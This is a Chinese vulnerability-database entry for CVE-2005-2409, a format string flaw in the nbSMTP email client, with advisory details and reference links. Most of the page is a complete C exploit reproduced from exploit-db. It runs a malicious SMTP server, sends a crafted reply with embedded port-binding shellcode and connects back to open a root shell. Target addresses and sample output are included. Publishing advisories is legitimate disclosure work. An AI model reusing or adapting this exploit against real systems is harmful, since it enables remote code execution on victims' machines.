nbSMTP客户端 格式串处理漏洞

nbSMTP客户端 格式串处理漏洞

漏洞ID 1108973 漏洞类型 格式化字符串
发布时间 2005-08-05 更新时间 2005-10-20
图片[1]-nbSMTP客户端 格式串处理漏洞-安全小百科CVE编号 CVE-2005-2409
图片[2]-nbSMTP客户端 格式串处理漏洞-安全小百科CNNVD-ID CNNVD-200508-004
漏洞平台 Linux CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/1138
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200508-004
|漏洞详情
nbSMTP是可以在chroot牢笼、嵌入式系统、笔记本和工作站上运行的SMTP客户端。nbSMTP在处理服务器回应的过程中存在格式串处理漏洞,可能导致在客户端的机器上执行任意指令。攻击者可以设置恶意的SMTP服务器,然后利用这个漏洞以运行nbSMTP用户的权限执行任意代码。
|漏洞EXP
/* nbSMTP_fsexp.c
 *
 * nbSMTP v0.99 remote format string exploit
 * by CoKi <[email protected]>
 *
 * root@nosystem:/home/coki/audi# ./nbSMTP_fsexp
 *
 *  nbSMTP v0.99 remote format string exploit
 *  by CoKi <[email protected]>
 *
 *  Use: ./nbSMTP_fsexp [options]
 *
 *  options:
 *         -t <arg>    type of target system
 *         -r <arg>    return address
 *         -s <arg>    shellcode address
 *         -o <arg>    offset
 *         -l          targets list
 * 
 * root@nosystem:/home/coki/audit# ./nbSMTP_fsexp -t2
 *
 *  nbSMTP v0.99 remote format string exploit
 *  by CoKi <[email protected]>
 *
 *  [*] system                     : Slackware Linux 10.0
 *  [*] return address             : 0x0804d8cc
 *  [*] shellcode address          : 0x08053613
 *  [*] building evil buffer       : done
 *  [*] running fake smtp server   : done
 *
 *  [*] waiting...                 : 10.0.0.1:2046 connected
 *  [*] sending evil command...    : done
 *
 *  [*] checking for shell...      : done
 *
 *  [!] you have a shell :)
 *
 * Linux servidor 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i586 unknown unknown GNU/Linux
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),102(bbs)
 *
 * Tested in Slackware Linux 9.0 / 10.0 / 10.1
 *
 * by CoKi <[email protected]>
 * No System Group - http://www.nosystem.com.ar
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define SMTPD		25
#define BUFFERSIZE	1024
#define ERROR		-1
#define TIMEOUT		3
#define SHELL		5074

int connect_timeout(int sfd, struct sockaddr *serv_addr,
	socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);
void exploit(int retaddr, int shaddr);

/*
 * Shellcode - portbind 5074 (84 bytes)
 * by Giuseppe Gottardi 'oveRet' <[email protected]>
 */

char shellcode[] = 
	"x6ax66x58x6ax01x5bx99x52x53x6ax02x89"
	"xe1xcdx80x52x43x68xffx02x13xd2x89xe1"
	"x6ax10x51x50x89xe1x89xc6xb0x66xcdx80"
	"x43x43xb0x66xcdx80x52x56x89xe1x43xb0"
	"x66xcdx80x89xd9x89xc3xb0x3fx49xcdx80"
	"x41xe2xf8x52x68x6ex2fx73x68x68x2fx2f"
	"x62x69x89xe3x52x53x89xe1xb0x0bxcdx80";

struct {
	int num;
	char *os;
	int retaddr;
	int shaddr;
}targets[] = {
	1, "Slackware Linux 9.0", 0x0804d4d4, 0x080531c3,	// .dtors
	2, "Slackware Linux 10.0", 0x0804d8cc, 0x08053613,	// .dtors
	3, "Slackware Linux 10.1", 0x0804d898, 0x08053e4e	// .dtors
	};

int main(int argc, char *argv[])
{
	char opt, *system=NULL;
	int shaddr=0, retaddr=0, targetnum=0, offset=0, i;

	printf("n nbSMTP v0.99 remote format string exploitn");
	printf(" by CoKi <[email protected]>nn");

	while((opt = getopt(argc,argv,"r:s:t:lo:")) != EOF) {
		switch (opt) {
			case 'r':
				retaddr = strtoul(optarg,NULL,0);
				system = "unknown";
				break;
			case 's':
				shaddr = strtoul(optarg,NULL,0);
				break;
			case 't':
				targetnum = atoi(optarg)-1;
				if(targets[targetnum].num) {				
					system = targets[targetnum].os;
					retaddr = targets[targetnum].retaddr;
					shaddr = targets[targetnum].shaddr;
				}
				else use(argv[0]);
				break;
			case 'l':
				printlist();
				break;
			case 'o':
					offset = atoi(optarg);
			        shaddr += offset;
			        break;
			default:
				use(argv[0]);
				break;
		}
	}

	if(retaddr == 0) use(argv[0]);
	if(shaddr == 0) use(argv[0]);
	if(system == NULL) {
		system = "unknown";
	}

	printf(" [*] systemttt: %sn", system);
	printf(" [*] return addresstt: %010pn", retaddr);

	printf(" [*] shellcode addresstt: %010p", shaddr);
	fflush(stdout);

	if(offset) printf(" (offset %d)n", offset);
	else printf("n");

	exploit(retaddr, shaddr);
}

void exploit(int retaddr, int shaddr) {
	char smtp[BUFFERSIZE], temp[BUFFERSIZE], recvbuf[BUFFERSIZE], host[255];
	int sock, newsock, i, reuseaddr=1;
	unsigned int bal1, bal2;
	int cn1, cn2;
	struct sockaddr_in remoteaddr;
	struct sockaddr_in localaddr;
	int addrlen = sizeof(struct sockaddr_in);
	struct hostent *he;

	printf(" [*] building evil buffert:");
	fflush(stdout);

	/* adding pads */
	sprintf(smtp, "553 xx");

	/* adding return address */
	bzero(temp, sizeof(temp));
	sprintf(temp, "%s", &retaddr);
	strncat(smtp, temp, 4);
	retaddr += 2;
	sprintf(temp, "%s", &retaddr);
	strncat(smtp, temp, 4);

	/* adding nops */
	strcat(smtp, "x90x90x90x90");

	/* adding shellcode */
	strcat(smtp, shellcode);

	bal1 = (shaddr & 0xffff0000) >> 16;
	bal2 = (shaddr & 0x0000ffff);

	cn1 = bal2 - 14 - 2 - 8 - 4 - 84;
	cn1 = check(cn1);
	cn2 = bal1 - bal2;
	cn2 = check(cn2);

	/* adding evil string */
	sprintf(temp, "%%%du%%7$n%%%du%%8$n", cn1, cn2);
	strcat(smtp, temp);
	strcat(smtp, "n");

	printf(" donen");
	printf(" [*] running fake smtp servert:");
	fflush(stdout);

	localaddr.sin_family = AF_INET;
	localaddr.sin_port = htons(SMTPD);
	localaddr.sin_addr.s_addr = INADDR_ANY;
	bzero(&(localaddr.sin_zero), 8);

	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		perror(" socket()");
		printf("n");
		exit(1);
	}

	if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseaddr,
		(socklen_t)sizeof(reuseaddr)) < 0) {
		perror(" setsockopt()");
		printf("n");
		exit(1);
	}

	if (bind(sock, (struct sockaddr *)&localaddr, sizeof(localaddr)) < 0) {
		perror(" bind()");
		printf("n");
		exit(1);
	}

	if (listen(sock, 1) < 0) {
		perror(" listen()");
		printf("n");
		exit(1);
	}

	printf(" donen");
	printf("n [*] waiting...");
	fflush(stdout);

	if ((newsock = accept(sock, (struct sockaddr *)&remoteaddr, &addrlen)) < 0) {
		perror(" accept()");
		printf("n");
		exit(1);
	}

	if (getpeername(newsock, (struct sockaddr *)&remoteaddr, &addrlen) < 0) {
		perror(" getpeername()");
		printf("n");
		exit(1);
	}

	printf("ttt: %s:%u connectedn", inet_ntoa(remoteaddr.sin_addr), ntohs(remoteaddr.sin_port));
	fflush(stdout);

	printf(" [*] sending evil command...t:");
	fflush(stdout);

	bzero(temp, sizeof(temp));
	sprintf(temp, "220n");

	if (write(newsock, temp, strlen(temp)) <= 0) {
		perror(" write()");
		printf("n");
		exit(1);
	}

	if (read(newsock, recvbuf, sizeof(recvbuf)) <= 0) {
		perror(" read()");
		printf("n");
		exit(1);
	}

	bzero(temp, sizeof(temp));
	sprintf(temp, "250n");

	if (write(newsock, temp, strlen(temp)) <= 0) {
		perror(" write()");
		printf("n");
		exit(1);
	}

	if (read(newsock, recvbuf, sizeof(recvbuf)) <= 0) {
		perror(" read()");
		printf("n");
		exit(1);
	}

	if (write(newsock, smtp, strlen(smtp)) <= 0) {
		perror(" write()");
		printf("n");
		exit(1);
	}

	close(sock);
	close(newsock);

	printf(" donenn");
	fflush(stdout);
		
	printf(" [*] checking for shell...t:");
	fflush(stdout);

	sprintf(host, "%s", inet_ntoa(remoteaddr.sin_addr));
	sleep(1);

	shell(host, SHELL);
}

void shell(char *host, int port) {
	int sockfd, n;
	char buff[BUFFERSIZE], *command = "uname -a; id;n";
	fd_set readfs;
	struct hostent *he;
	struct sockaddr_in dest_dir;

	if((he=gethostbyname(host)) == NULL) {
		herror(" gethostbyname()");
		printf("n");
		exit(1);
	}

	if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
		perror(" socket()");
		printf("n");
		exit(1);
	}

	dest_dir.sin_family = AF_INET;
	dest_dir.sin_port = htons(port);
	dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
	bzero(&(dest_dir.sin_zero), 8);

	if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
		sizeof(struct sockaddr), TIMEOUT) == ERROR) {

		printf(" failed!nn");
		exit(1);
	}

	printf(" done");
	fflush(stdout);

	/* owned ;) */
	printf("nn [!] you have a shell :)nn");
	fflush(stdout);

	send(sockfd, command, strlen(command), 0);

	while(1) {
		FD_ZERO(&readfs);
		FD_SET(0, &readfs);
		FD_SET(sockfd, &readfs);
		if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
		if(FD_ISSET(0,&readfs)) {
			if((n = read(0,buff,sizeof(buff))) < 1)
			exit(0);
			if(send(sockfd, buff, n, 0) != n) exit(0);
		}
		if(FD_ISSET(sockfd,&readfs)) {
			if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
			write(1, buff, n);
		}
	}
}

int connect_timeout(int sfd, struct sockaddr *serv_addr,
	socklen_t addrlen, int timeout) {

	int res, slen, flags;
	struct timeval tv;
	struct sockaddr_in addr;
	fd_set rdf, wrf;

	fcntl(sfd, F_SETFL, O_NONBLOCK);

	res = connect(sfd, serv_addr, addrlen);

	if (res >= 0) return res;

	FD_ZERO(&rdf);
	FD_ZERO(&wrf);

	FD_SET(sfd, &rdf);
	FD_SET(sfd, &wrf);
	bzero(&tv, sizeof(tv));
	tv.tv_sec = timeout;

	if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
		return -1;

	if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
		slen = sizeof(addr);
		if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
			return -1;

		flags = fcntl(sfd, F_GETFL, NULL);
		fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

		return 0;
	}

	return -1;
}

int check(unsigned long addr) {
	char tmp[128];
	snprintf(tmp, sizeof(tmp), "%d", addr);
	if(atoi(tmp) < 10)
	addr = addr + 65536;

	return addr;
}

void use(char *program) {
	printf(" Use: %s [options]n", program);
	printf("n options:n");
	printf("	-t <arg>    type of target systemn");
	printf("	-r <arg>    return addressn");
	printf("	-s <arg>    shellcode addressn");
	printf("	-o <arg>    offsetn");
	printf("	-l          targets listnn");
	exit(1);
}

void printlist(void) {
	int i=0;

	printf(" targetsn");
	printf(" -------nn");

	while(targets[i].num) {
		printf(" [%d] %sn", targets[i].num, targets[i].os);
		i++;
	}
	
	printf("n");
	exit(0);
}

// milw0rm.com [2005-08-05]
|参考资料

来源:MISC
链接:http://people.freebsd.org/~niels/issues/nbsmtp-20050726.txt
来源:www.vuxml.org
链接:http://www.vuxml.org/freebsd/debbb39c-fdb3-11d9-a30d-00b0d09acbfc.html
来源:XF
名称:nbsmtp-format-string(21674)
链接:http://xforce.iss.net/xforce/xfdb/21674
来源:BID
名称:14441
链接:http://www.securityfocus.com/bid/14441
来源:SECUNIA
名称:16324
链接:http://secunia.com/advisories/16324
来源:SECUNIA
名称:16279
链接:http://secunia.com/advisories/16279

相关推荐: Apple Mac OS X Finder DS_Store不安全文件创建漏洞

Apple Mac OS X Finder DS_Store不安全文件创建漏洞 漏洞ID 1108439 漏洞类型 设计错误 发布时间 2005-02-07 更新时间 2005-10-20 CVE编号 CVE-2005-0342 CNNVD-ID CNNVD-…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享